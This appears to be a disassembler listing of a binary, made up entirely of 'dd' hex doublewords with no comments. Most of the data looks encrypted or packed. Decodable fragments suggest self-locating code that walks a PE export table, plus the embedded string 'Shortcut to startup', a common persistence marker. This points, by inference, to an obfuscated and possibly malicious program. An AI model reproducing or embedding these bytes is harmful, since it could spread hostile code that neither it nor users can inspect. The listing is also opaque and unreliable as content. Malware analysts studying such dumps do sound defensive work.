		dd 929E6636h, 84ECB806h, 92748AFAh, 0B7134E6Dh,	26D53373h
		dd 0B6E6B97Ch, 3E7A3373h, 0B6BA3375h, 87526123h, 0D6FE6B29h
		dd 0B6573C9Bh, 30AF1873h, 3E208B59h, 0A898EB86h, 0F01E3612h
		dd 0E6E86328h, 0EC6C3C21h, 5E9F3C2Bh, 0B657337Ch, 0AA42E3EEh
		dd 806907E5h, 327F1802h, 0E939D619h, 26DB6B29h,	0F60C8EFEh
		dd 3B23355Eh, 0B07A76A8h, 0D0FE10CBh, 4B503004h, 9DEC1B65h
		dd 7308F2BCh, 0C8C85C32h, 6E37BAC9h, 0FA66D2BEh, 73DCAD18h
		dd 73B53D66h, 2E96EA33h, 0F305E983h, 6A58A4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0BA0E07C3h
		dd 3EB4B7E8h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	9EC35545h, 8B929CC4h, 0FC00BFBh, 7084h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 65F12677h, 0D8B70FD0h, 4F6EB58Dh, 3B80628h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF1CC357h, 55006AE6h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 6786CB5Ah
		dd 0B7D2BC70h, 6A40CAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 8B9B93C3h, 9D8BC7F8h, 62816DDh
		dd 0C79BD01h, 0C08B0628h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 4AC35545h, 83486519h,	280149BDh, 9750006h
		dd 14C5BD83h, 74000628h, 8B535019h, 403B8C0h, 85890000h
		dd 6282E55h, 0A5C59D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h
		dd 50177400h, 403B853h,	85890000h, 6282E55h, 0A2669D8Dh
		dd 0D3FF062Ah, 6A585Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 13CC38C3h, 360E4BF9h, 8B169E43h
		dd 28148995h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0ED6AC356h,	8A3D8DEFh
		dd 0B32061EEh
		dd 0B4AF96E3h, 0EA9C676Ah, 0DA5F015Bh, 32040132h, 6DC15E11h
		dd 36257DB8h, 36A445B0h, 32400127h, 0C4E35676h,	3A7508Ch
		dd 0B6070599h, 320400BEh, 31BFBC18h, 38E80719h,	47800131h
		dd 0B83EC183h, 0F709B9Ah, 67AD8278h, 320E292Fh,	320A853Eh
		dd 0BF8B0131h, 34291884h, 328163D8h, 0E1FF0E31h, 62FE8AA1h
		dd 5880F4BBh, 31E05331h, 12040131h, 0BB58C26Bh,	0B3052565h
		dd 27842575h, 70400131h, 4BE4C263h, 321004D8h, 9E058E31h
		dd 330BF092h, 0B9FC257Dh, 545359C8h, 0B1DBD7BAh, 0B04F2DF1h
		dd 32200132h, 0B9C7B63Eh, 0AC94BE39h, 0B9627916h, 0AF89FD79h
		dd 34291598h, 4B98057h,	0F0C40ECEh, 31200131h, 1A3748A4h
		dd 321BE837h, 1AE10131h, 0AC21988Fh, 71727A47h,	0EE47BEF4h
		dd 6BD9A55Fh, 3BE18292h, 321C8F3Eh, 0BD070131h,	32040137h
		dd 1FDBB438h, 83BF0719h, 0B2AB2ED1h, 0B74FE808h, 3220018Ah
		dd 739BF9BAh, 8BBD8830h, 31022923h, 3208E9F9h, 0D6780131h
		dd 0FDB10BF4h, 0C5CA332Ch, 3227E851h, 0CDF80131h, 71DD9849h
		dd 0F3812A76h, 53042928h, 37C0826Ah, 0DAD7015Bh, 32400132h
		dd 6DE35E11h, 36347DB8h, 362C45B0h, 32040125h, 5AC15676h
		dd 11B4BCB8h, 0B010719h, 0B9034AA1h, 3279843Eh,	327A0131h
		dd 320BE967h, 6C240131h, 468B5FF2h, 76800515h, 32950515h
		dd 64060131h, 0B9B2C6F2h, 5C9D8CEBh, 0B20E297Eh, 31BCC8EBh
		dd 58020131h, 31E95731h, 12800131h, 0BB1EC26Fh,	0B3242545h
		dd 24142575h, 74080131h, 7AB5C267h, 0AFBF2A48h,	0CD072920h
		dd 0F3588D0h, 5346293Dh, 0DA77015Bh, 32100132h,	6DCB5E11h
		dd 36207DB8h, 362645B0h, 32010129h, 0D2435676h,	1A762447h
		dd 2A259C18h, 8F9D0719h, 342546ACh, 7BA58CBCh, 46BA071Ch
		dd 10093B2h, 1A87CCB4h,	0F38F2A37h, 0B32003D8h,	0B4AF96E3h
		dd 0EA9C676Ah, 0DA5F015Bh, 32040132h, 6DC15E11h, 0E9837DB8h
		dd 8BA4F305h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 6ABFF9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 9AAE95C3h, 814D20C5h
		dd 17CD9FD2h, 8DC38B6Eh, 2D4AE88Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BE66AFEAh
		dd 8D897F0Eh, 6280715h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0B2C35242h, 0B283F79Eh, 0BD85C763h, 98062821h
		dd 6A00006Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 8217C353h, 0AE520D2Dh,	0B4A38119h
		dd 2B60CFB2h, 280F899Dh, 0BF0F6006h, 0C76161F6h, 28113D85h
		dd 6, 66F78B00h, 0FFE840BFh, 281D45B5h,	53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 95FFE2D2h, 62814D9h,	7E8h, 0E938B000h, 3B7E53F4h, 2FDBD8Bh
		dd 805B0628h, 6A02E0h, 46595FFh, 0C08B0628h, 24F668EBh
		dd 0DACCB176h, 62DEDE62h, 0B766ACFAh, 581F22F2h, 0FF6DA5EDh
		dd 5ADC017h, 68A92F2Fh,	0BDB55F0Dh, 0AA79032Eh,	40F03970h
		dd 3DA402FAh, 5184AA75h, 17834D35h, 0AE18CBE4h,	0E4CEC327h
		dd 395576D0h, 0DD8B7E23h, 42176140h, 0ED86A146h, 6A558153h
		dd 9776028Ch, 0E567E14Eh, 2C5D96E7h, 5CB1E640h,	0BBC015E6h
		dd 0AE87EF2h, 6F000000h, 0FA5B4B54h, 0CAE2798Bh, 5FD38BBEh
		dd 8F9858Bh, 0C7810628h, 6430h,	2D59858Bh, 0DB330628h
		dd 0CE8h, 0C9EB900h, 0F839A844h, 0E56CC8F5h, 0B59D895Eh
		dd 5A062821h, 313B34FFh, 282A7585h, 81F55E06h, 3025DDC6h
		dd 0F681F977h, 29162A9Ah, 1EA98589h, 0EE810628h, 31A99552h
		dd 698BBA66h, 0EDBE6056h, 0F3D3A82h, 8F61DBB7h,	0D8801F04h
		dd 5870F05h, 66000000h,	2D8AD081h, 8979EB81h, 8D896B39h
		dd 62820EDh, 8975C381h,	8A606B39h, 61DF8BD0h, 9C98FB81h
		dd 850FFFFFh, 13h, 2311958Bh, 20E90628h, 20000000h, 916E136Bh
		dd 0B045AD00h, 0FF7EE9D4h, 1538FFFFh, 0B674A7A2h, 73577068h
		dd 13ACDDFFh, 0DEE187D9h, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 33B02B16h
		dd 0FFB44E60h, 0F867A5E4h, 0A0B0323Eh, 3CC0A3BEh, 79672018h
		dd 0DA8DA3BAh, 0D71B201Bh, 33B01522h, 831D2933h, 0C0982633h
		dd 8BD410B6h, 0D6157635h, 0AFB56A1Bh, 0C10DD963h, 839E0E3Dh
		dd 35982664h, 1F152359h, 4BB56A0Bh, 8E1DAB63h, 39E0B7Fh
		dd 0A741B3CCh, 1493201Bh, 6AA1A23Ch, 0B0152633h, 9CB56A0Bh
		dd 4DAACE63h, 0F6D82633h, 1FA6A3BEh, 24C8201Eh,	0F9D41EB6h
		dd 0FF677635h, 33B02BC6h, 1794E2B0h, 60D41EB6h,	23157635h
		dd 55B56A1Bh, 0BC0DD963h, 3D9E0E3Dh, 6A982651h,	6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9CB56A15h
		dd 0C3ABBEh, 9320201Eh,	78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 62D4D5Bh,	4D7A8D8Dh
		dd 0CF2B062Dh, 8B05E983h, 9E8C8h, 1A1F0000h, 52A2AE6Dh
		dd 809CC33Dh, 0E958CEDDh, 5, 507282FAh,	0A4C08185h, 89000066h
		dd 2801FDB5h, 4C80BB06h, 0EB8178DAh, 78DA3302h,	0BE8h
		dd 0E8B57000h, 4B8B3C58h, 2F62A5A0h, 0EE8h, 76E49400h
		dd 26B26B71h, 4C47CD46h, 56CE1B46h, 0FF5E5F59h,	5AF38B30h
		dd 1F45BD89h, 0C2810628h, 0FDE3272h, 1D218D8Bh,	0C2810628h
		dd 4C786E21h, 0D428F281h, 8B6052A6h, 0C820FF0h,	0E9000000h
		dd 7, 0F4E938B0h, 613B7E53h, 0BD9D8952h, 8F062814h, 96BE6600h
		dd 4E883E1h, 1EB81h, 850F0000h,	0FFFFFFABh, 21D99529h
		dd 8D8D0628h, 62D4F02h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 23C35141h, 89F5AE7Bh,	280E35BDh, 158D8906h
		dd 89062807h, 280F6DBDh, 0BD85C706h, 0EC062821h, 66000060h
		dd 0C7F166B8h, 28113D85h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0F3695375h
		dd 8984709Fh, 2826D58Dh, 15B5FF06h, 6A062811h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0BC98C352h, 29759D2Bh, 95FF0628h, 62814D9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CFC35040h, 2E7F4525h
		dd 61CE80ADh, 95FF006Ah, 6280465h, 79EBC08Bh, 0A3D57924h
		dd 48402EA8h, 0E777B9BEh, 8BEAA558h, 38E55E09h,	6EEA86C4h
		dd 0FEF9EC0Ah, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h
		dd 93501008h, 1EFD6233h, 0B6CA61Ah, 0DCD24DCAh,	8E85AB8Bh
		dd 0F69C487Eh, 0A243DA4Fh, 3EFBB595h, 1C57533Bh, 5AF4EAC4h
		dd 706786CBh, 0D2B5D2BCh, 47EFE794h, 0D10F5B5Eh, 13E4DF58h
		dd 0DFE11631h, 0F7935437h, 50AA59DEh, 0E439BC6Dh, 0B0E985h
		dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h,	282DD585h
		dd 36840F06h, 3B000000h
		dd 28174D85h, 2A840F06h, 3B000000h, 28105D85h, 1E840F06h
		dd 3B000000h, 28093185h, 12840F06h, 83000000h, 2817B9BDh
		dd 840F0106h, 5, 5FE9h,	3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh
		dd 49840FC9h, 81000000h, 0F8C2h, 0C728B00h, 598BC803h
		dd 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h
		dd 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h
		dd 284F6E9Dh, 5B806h, 0E3FF0000h, 0D00BC361h, 79E9h, 0A597F00h
		dd 6F685332h, 75637472h, 6F742074h, 61747320h, 70757472h
		dd 18h dup(0)
		dd 0EEE90000h, 6800000Eh, 62D526Dh, 0FBF41DE9h,	538268FFh
		dd 13E9062Dh, 68FFFBF4h, 62D550Dh, 0FBF409E9h, 555368FFh
		dd 0FFE9062Dh, 68FFFBF3h, 62D55EFh, 0FBF3F5E9h,	56B468FFh
		dd 0EBE9062Dh, 68FFFBF3h, 62D5A59h, 0FBF3E1E9h,	5D2168FFh
		dd 0D7E9062Dh, 68FFFBF3h, 62D5E15h, 0FBF3CDE9h,	8CDE5BFFh
		dd 0A8EE71A8h, 0BF0F8DC4h, 0DA22A4DBh, 0F240BFF6h, 2F54590Eh
		dd 477E62B0h, 649B7FC3h, 7EB599E3h, 0D6CEB2FEh,	0B4343788h
		dd 71447CFBh, 0A3EF6FD0h, 0FBC3C0Bh, 0FFEE3F8Bh, 0FB7AD6E5h
		dd 0F1830D97h, 0B64E9216h, 502E6A48h, 0E56E7DCEh, 268A7AD6h
		dd 0CEA77248h, 0E4CDEB3Ch, 0E3BE7CFEh, 463B1961h, 7DCE50E2h
		dd 7CFEE76Eh, 5848268Ah, 0FEE7DC13h, 0E50DE67Ch, 0CE822F8Bh
		dd 36A4FBh, 0C8450000h,	8D2569EDh, 0A06B411Fh, 0E57F6EBFh
		dd 177B7AD6h, 82AAFB8Dh, 17CFEF1h, 0C65EA226h, 21857A58h
		dd 0F12D4489h, 3E177CFEh, 6B5EBA16h, 0E1D3FBCEh, 74000000h
		dd 0BA3EF6Fh, 900EBD3Ch, 8BD35540h, 9CED6F01h, 7AD6E551h
		dd 776745A9h, 5DA32601h, 70BC3C7Fh, 38762D8h, 0DBB927BFh
		dd 3ACC1898h, 0AAE73284h, 568CDF4h, 0C1672DCAh,	0CB4C3775h
		dd 9D7BE981h, 28A88361h, 0ED45FEDCh, 397AD6CFh,	52896DB9h
		dd 8CEE86D2h, 556E8C1h,	7CFED473h, 5B9FE585h, 8F56DD4Dh
		dd 0FA06D9D0h, 1AA42E38h, 85D65836h, 7CFE7F66h,	0FF4FCD92h
		dd 0F6C19775h, 53098B1Dh, 0DF7B345h, 641DFBB0h,	7AD49353h
		dd 4621B317h, 5E9579C7h, 0E2ED91DFh, 0ED0876BCh, 0C8FC21Dh
		dd 85020000h, 95184F33h, 0B6346B4Fh, 0C94B8266h, 0E7669D81h
		dd 0AD00B599h, 1F0351D0h, 3C2064E8h, 563A8405h,	6F539F1Fh
		dd 95D82977h, 0E57CFBB7h, 0F06F7112h, 787BEA2h,	0CD4E29BBh
		dd 9E69A583h, 0A63811DCh, 0FEF1D755h, 3D01A17Ch, 48A3AFCAh
		dd 6EB34BD5h, 7CFEF07Bh, 0CB63B331h, 9C3478FCh,	6C044ACDh
		dd 0E60E5FFEh, 87AF8863h, 0CE6ACD29h, 21944AFBh, 5C48ADB9h
		dd 0E76E603Eh, 0F000000h, 0BF42EF6Fh, 8857EF79h, 0DE23BB09h
		dd 7AD6E144h, 6E39752Bh, 0BAFF84B3h, 3C025E96h,	72F046D9h
		dd 921C8A22h, 0A5F171B4h, 0BE0A8AC1h, 20F9C426h, 7CBB3D8Eh
		dd 0EDC87CFEh, 4F44226Ch, 0A72907EBh, 0FE7B1756h, 21FF637Ch
		dd 15A7804Bh, 0D4D9E0C4h, 28DD937Ah, 9E7D22D6h,	0E77FC548h
		dd 1C11EF79h, 58FD357h,	8F199873h, 9357A765h, 0E37B0504h
		dd 0BF098A75h, 0F1DBB927h, 65499716h, 0E989D187h, 0A73C92C3h
		dd 7553DD25h, 0C165B332h, 876A418h, 7AA0FBCBh, 0ED00000Bh
		dd 33A1E70h, 1F563A80h,	366D51A1h, 51886CB4h, 0EBA084D2h
		dd 0F03EBDC2h, 0D51D50Ch, 2771F229h, 408C0C43h,	0C516645Ch
		dd 7CFBB6A6h, 6F5EFFD2h, 0E0BEA2F0h, 5A388605h,	6CEA9717h
		dd 8C16841Ch, 6CEFCAA8h, 63FB43C5h, 65D36BF5h, 0EF6FB087h
		dd 9D5B11A3h, 0E1E1CF76h, 0FAC9B997h, 804A2E7Ah, 0F94ADCB5h
		dd 7CFE6EE7h, 280395F9h, 56C45CA8h, 672C7790h, 13F12307h
		dd 2F8BDE23h, 0D8B17CFEh, 0C34621B0h, 9977E57Dh, 0CDB582DEh
		dd 7F7FBh, 0E3980000h, 7CEh, 3811DC3Eh,	149CBA6h, 80E83923h
		dd 0F87CFEFAh, 0AD2DFC94h, 1D9F7D61h, 0FEFAA1CCh, 9775D97Ch
		dd 0F088D454h, 0BAD96EABh, 0E50DC21Bh, 53378303h, 0B8509C1Ch
		dd 0BAA77D73h, 42C8517h, 7458A424h, 7B80E096h, 0A7AC90BCh
		dd 7553DD25h, 0CE66B232h, 455D9B89h, 6F974EE8h,	3E8407E2h
		dd 30EBFCA6h, 0E74E31E3h, 0BC3C7F5Dh, 0D5558C70h, 0C48FF189h
		dd 2AC2068Ah, 4FA032BCh, 11922EB5h, 0C26B4FB3h,	0C3D8A302h
		dd 7C7375F9h, 9224AE09h, 6B3B0B41h, 1FC92D0Fh, 2070F2CDh
		dd 6B059CCFh, 0EE78DC03h, 510AE856h, 0DD7BE5EDh, 58EAC38Eh
		dd 3002D507h, 2677E32Bh, 272002C7h, 7E1B63E5h, 96F8901Ah
		dd 0F60F2CBh, 210B6D80h, 0F7D264C8h, 0BE992B77h, 0DB17F53Bh
		dd 0F6A122FDh, 0C19F2977h, 0A676FE7Eh, 597A16AFh, 638024AEh
		dd 94604639h, 9EF69C4h,	0E5620000h, 0F578AF93h,	1694CBAFh
		dd 29ABE2C6h, 47C6FDE1h, 4D6015F9h, 7F63B130h, 9C80C448h
		dd 0B69AE465h, 0CFB3FF7Fh, 353889D7h, 457CFBB0h, 0EDC8D172h
		dd 1B89216Dh, 2E7AFA3Dh, 2345638Ah, 7DD8A8FCh, 9A9h, 694D9F1Ch
		dd 8569AF32h, 9C80D04Eh, 0B79BE365h, 0CFB30180h, 6FEE931Ah
		dd 82063D21h, 0A2235A3Eh, 0BD3D7458h, 47958D71h, 0FBB0F7F6h
		dd 8F30037Ch, 0BA3EF6Fh, 8333BD3Ch, 0E1C1B978h,	0A0492DB7h
		dd 0DDB68124h, 54D2FA4Bh, 82E67CFEh, 7575B7D8h,	5722BD43h
		dd 619BEC7Eh, 82BB18E0h, 0EFDA28A7h, 5247256Dh,	29F456EEh
		dd 226DBE50h, 26B2F3C3h, 0F8AE30C2h, 0C2DC76E0h, 95D8B6BEh
		dd 7D70C115h, 7DAEEF38h, 66AA2E19h, 41C1F8DCh, 3EC81494h
		dd 5D225D9Ah, 97F2C2D0h, 90Dh, 0CDB10380h, 0E9CD1396h
		dd 0E434B2h, 1BFF47C9h,	331765E4h, 0D3522F7Eh, 0E66AA185h
		dd 687BEA2h, 21A1D8BCh,	0ABF9F1D5h, 0FBB0135Ah,	0F394677Ch
		dd 0BA3EF6Fh, 35BB3Ch, 0E55E3ADEh, 841C6AE9h, 70028C16h
		dd 634E9DEEh, 46AA7AD6h, 0CC4E2C68h, 0D663707Bh, 4624887Ah
		dd 0D6633E8Dh, 798E597Ah, 74E43E16h, 881AA48Eh,	0FB967037h
		dd 4B9C087Ch, 7CFB9620h, 96DB1263h, 0BB1F7CFBh,	9E30BA1Eh
		dd 169445C3h, 745E3CC6h, 4C9617F2h, 256846B4h, 45C759A5h
		dd 0FB96F9F4h, 0BF9D017Ch, 80CC4C83h, 0D01B6CEEh, 287CFB96h
		dd 0AC64FEC4h, 886D1058h, 6CEBBAAAh, 36B7861Eh,	0FBB948ECh
		dd 0AA7A0250h, 8484Fh, 0EC3EBB00h, 84ED108h, 1F6FED24h
		dd 3A82043Bh, 52A01F56h, 8FF4B96Eh, 0A7DEC210h,	0C4FBDF23h
		dd 0DE15F943h, 362E125Eh, 0B35497E8h, 0D1A47CFBh, 0A3EF6F30h
		dd 3DB05B11h, 2A2E32AEh, 7751AE19h, 0B997212Eh,	0F47853C9h
		dd 0E981D14Fh, 0EB59F17Bh, 0FE4ACA0Dh, 668EE766h, 0D2B60282h
		dd 0F63CC723h, 4D03C01h, 0EFCA0000h, 1B892171h,	46C8663Dh
		dd 0D6E5F6F5h, 0C09E027Ah, 0ED3E1FEAh, 7AD6E5FEh, 7A0C96FAh
		dd 0FBB58629h, 496FA7Ch, 795DA929h, 7109E2AFh, 97D98A2Ch
		dd 3EC0B005h, 4F59FEEDh, 0B896FA05h, 0B234BDE5h, 4F590A61h
		dd 2C0A6E05h, 5CC81571h, 36B79282h, 0FBE654ECh,	61533179h
		dd 46h,	360FDC02h, 0FD49C9A4h, 6C4A8E12h, 0A1250082h, 0A7C67F5Dh
		dd 0D37AD6E5h, 1B92D76Fh, 115AB187h, 0E2B1498Dh, 0FF7E1662h
		dd 20FB7EA6h, 88D65530h, 0D1A482F0h, 21FB57A9h,	770E18Fh
		dd 11000000h, 1BCE3h, 0FDC3E00h, 4D289E36h, 0ECA583CBh
		dd 3BA89CAh, 116F9770h,	888A12B5h, 302Ah, 0FDCCB00h, 26599E36h
		dd 0EC03BA89h, 0BC8B2369h, 0EC5AF23Ah, 9F377F01h, 2DACD413h
		dd 0D0517952h, 942C72F5h, 318D4826h, 0A6888A18h, 56h, 360FDC47h
		dd 0E51853A4h, 906B7AD6h, 0F0E5C311h, 9245F98Ch, 7EA6D7A1h
		dd 0F640C622h, 0EA684301h, 0B694029Ah, 2DC4h, 0FDC6500h
		dd 1A53A436h, 5E7AD6E5h, 79FB53FAh, 0D6E5C528h,	0F3D1357Ah
		dd 0A708843Eh, 83C5217Fh, 73A01F6h, 0DB000000h,	11CE3h
		dd 0EEE33E00h, 2B000000h, 0A684D050h, 360FDCCFh, 145C9A4h
		dd 0E2BD3323h, 0A8291464h, 7A58C65Eh, 86A6F5C1h, 3860392Fh
		dd 0A63F7CD8h, 9F1EF9ACh, 0AD817351h, 22000000h, 0A4360FDCh
		dd 0E59AD122h, 0F907AD6h, 0E6C428C5h, 0E540ABFCh, 41C37AD6h
		dd 0D6E5FDF0h, 0BB99FD7Ah
		dd 0EDAB26C6h, 822F9097h, 0F41B60F8h, 0BE5AF604h, 0B25CF43Ch
		dd 0F11C7520h, 0BC3E299Eh, 550CDC74h, 7DCD4B2Dh, 4D2818F3h
		dd 0D1A482CCh, 43FB57A9h, 0C278E1D6h, 0E2C2830h, 0F8F7A36h
		dd 43F3E5C3h, 81000000h, 8BFAEFFh, 57BB5AF6h, 0FDCA279h
		dd 1853A436h, 607AD6E5h, 0C8F6AFCh, 67B82EC6h, 7AD6E504h
		dd 0A8861074h, 0C85C73B8h, 4D2617F6h, 0C91A9C25h, 17F6C8A2h
		dd 0D99472D6h, 94D6567Dh, 7F2h,	3AE39300h, 3E000000h, 0BA3EF6Fh
		dd 0D6E5A2C6h, 2E56017Ah, 9A7ECA4Ah, 360FDCCFh,	7B916C8Fh
		dd 77A0F21Ah, 7E7AD6E8h, 0D6E83E2Dh, 4CD63A7Ah,	0F67690E9h
		dd 0FEF70301h, 0E3A4FFFFh, 272h, 0A3EF6F3Eh, 0FBC3C0Bh
		dd 0D5B9438Fh, 8406400Bh, 4B36A43Ch, 7BE981C9h,	920E5FF1h
		dd 0E17CFEE4h, 8625E82Bh, 0B6941964h, 4FC55DC1h, 0C8A6F674h
		dd 0FE56D80Fh, 0E109E27Ch, 0CDD1338Fh, 43A8FBh,	0DC490000h
		dd 55A63811h, 7CFEF1D7h, 65EDCA1h, 0FEF0B6B5h, 0D45EC27Ch
		dd 7A6DB24Ah, 407CFEF0h, 85E13F67h, 2FBCE6Ah, 0E488684Ch
		dd 0E6C4D554h, 0ABF4h, 0AF008200h, 7CFE6BBCh, 0BA3ED6Eh
		dd 0BE9C009Dh, 0A3EF6FE7h, 2F3E8F11h, 567AD6E5h, 0D6E5E605h
		dd 11AE127Ah, 1460D671h, 0B03A76CEh, 9413E2D2h,	5FDFAE46h
		dd 2CAC7B13h, 0D74FFCE0h, 437AD6FDh, 0C99377C3h, 873CE9FEh
		dd 23BB0B89h, 8121EFB5h, 6ABB4DD7h, 7CFCBFCCh, 0DFBA4CB0h
		dd 0F72E1260h, 85862A78h, 0C2024EE0h, 4A397F2h,	99160000h
		dd 0A92C6347h, 0CA487F63h, 0DD5F967Ah, 0FB7AB195h, 9914C9ADh
		dd 331765E4h, 503478FCh, 6A4E9819h, 8367B333h, 81EC3D8Bh
		dd 0F97CFBBFh, 0EDC88526h, 0FF42206Eh, 174E3280h, 9C674B97h
		dd 7567EF6Fh, 1FBF67B2h, 0D147DF69h, 47EFFE4Fh,	0A70B7AD6h
		dd 0BA0686C9h, 68410CD6h, 176420D6h, 0CB419358h, 3A00D58Ah
		dd 0A3818F15h, 25AC68B9h, 21D77CFEh, 16ACB02Eh,	159782A9h
		dd 96FAEFCDh, 2EB4B9FEh, 71CA7CFFh, 0FC11DC49h,	6B9AD422h
		dd 6CBC3A19h, 16DC66D4h, 95917959h, 67F9834Ah, 0D7227E16h
		dd 4DA7A7Ah, 3DB63840h,	0ECFF50E2h, 0C768482h, 703A1EA8h
		dd 0B83ACCA5h, 8286E536h, 8EF27684h, 0D2B0F7B0h, 64C870A9h
		dd 2979F7D2h, 5B452391h, 59AA0280h, 68A95212h, 9D89AF3Dh
		dd 7613DBE5h, 9DB2B90Ah, 62C668A9h, 0BD6A4ED8h,	68A99DA0h
		dd 2676F4CFh, 0FF42208Eh, 753D37Eh, 0BA529A1Ch,	1BDEC24Ch
		dd 4Ah,	0E5F6F976h, 62297AD6h, 0E8669D81h, 50451C5Ch, 0FD182524h
		dd 8E5F2547h, 0DA72FC3Fh, 0D6785695h, 274FA07Ah, 8F73C341h
		dd 0B55D6B1h, 1F69EA2Dh, 782E4287h, 81047AD6h, 55D4A33Bh
		dd 0A4E36F07h, 6407FD7Ch, 91DB5C3Ch, 0EE6FE2ADh, 0E5204B9Ch
		dd 93587AD6h, 0BF2DC515h, 4413AB35h, 62E179C3h,	8607E109h
		dd 0B8AB583Ch, 0D37AD6F7h, 0F6721770h, 0FF8B8A01h, 3D18FFFFh
		dd 62D870BEh, 0D6EFDA11h, 30BA1E7Ah, 0EDC87B52h, 0FE411F6Fh
		dd 0CB9A327Eh, 511BFF4Bh, 0CA1BAD86h, 7CFEE4EEh, 96D52692h
		dd 0E27CFEE7h, 175CF47Eh, 7CFEE7D0h, 791157DAh,	48E028AAh
		dd 0C14870C9h, 9D1BF6E6h, 6947B54Dh, 0B6126E96h, 2BFBCE81h
		dd 44h,	3811DCCCh, 51A224A6h, 7AD6E51Ah, 631CFA5Eh, 7CFEF1C9h
		dd 6EB34BAFh, 7CFEF07Bh, 0CC64B231h, 0F0E60556h, 0AE127CFEh
		dd 62FA40C3h, 0DBC71393h, 9B1CFC24h, 13ECC751h,	6B3995EBh
		dd 0F4AEFBCEh, 4F000000h, 1067EF6Fh, 0EBA2C644h, 0F8F344D6h
		dd 7AD6A5h, 0AB7A129Ch,	0D046DE2Ch, 0A5EEFD4Eh,	0A60A7AD6h
		dd 0B90585C8h, 86D25221h, 0A13DF5A2h, 69E97AD6h, 0B8098B1Dh
		dd 7AD6A0B5h, 478361C5h, 610E8E69h, 920098DEh, 24027008h
		dd 7D1561E1h, 0FDAE2C07h, 13AB3579h, 26F1C7A5h,	0A0F9F445h
		dd 9D017AD6h, 5AE434B2h, 8E2577C8h, 0CF337CFEh,	651A873Dh
		dd 0F09C7CD4h, 20129BDAh, 704ED8CBh, 0C69F6A34h, 8FD75934h
		dd 6A45C7B1h, 0BD0EA0E8h, 7CFECDAEh, 0CF8866CAh, 7AD4685Dh
		dd 4A25B71Bh, 62997DCBh, 24F195E3h, 37087613h, 1DB0C67h
		dd 0D14E0000h, 0E1649B7Fh, 280B79Bh, 1597CEB2h,	33B2E9CDh
		dd 614C01E5h, 6B4F9D1Ch, 886CB034h, 0A286D051h,	0BB9FEB6Bh
		dd 0C92475C3h, 317CFBB8h, 0F06FBD5Eh, 0DD75C141h, 7853E56Fh
		dd 0A715ADF7h, 0D6568DC9h, 0DCDBA68Ah, 55A63811h, 7CFEF1D7h
		dd 89E435A1h, 0F17CFEF0h, 0EF71038Dh, 0FEF04F9Eh, 6947AB7Ch
		dd 30810379h, 7CFEF03Dh, 0AEF6783Dh, 401EA816h,	0FEF06087h
		dd 59815A7Ch, 0CE6AAB07h, 0BD20FBh, 6FC10000h, 3C0BA3EFh
		dd 92D76FBDh, 7AD6E190h, 0D6BA0686h, 529C1DF8h,	1D6DEBBAh
		dd 0F272B593h, 0E2980EA6h, 36D9BA61h, 0D25540A5h, 0A886F48Ch
		dd 9C2E07D2h, 0FEC5714Bh, 0B637127Ch, 6289DA6Ch, 967CFED9h
		dd 0FB5F5432h, 0A9824D17h, 7BC5C617h, 0A17C7AD4h, 0D240D81Eh
		dd 401E64E7h, 7A55E74Bh, 92C9ADFBh, 0FE21C513h,	71087623h
		dd 0E746A1h, 0DD5A0000h, 0ED70A78Bh, 0E8CC3A7h,	21A3DABEh
		dd 3FBEF5D9h, 55580DF1h, 775BA928h, 9478BC40h, 0AE92DC5Dh
		dd 0C7ABF777h, 3D3081CFh, 3D7CFBBBh, 0F06FC96Ah, 0DD5A10A2h
		dd 623F8DE6h, 0FA5D90E1h, 399D7AD6h, 0FA42C4AFh, 29A9E01Ch
		dd 6F2EF9DDh, 3611A3EFh, 66D46CB4h, 49C99888h, 844F19FDh
